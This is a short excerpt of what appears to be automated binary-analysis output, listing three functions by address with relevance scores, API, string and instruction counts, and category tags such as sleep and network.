Function 004F6D93 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 004E4800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 004F5440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON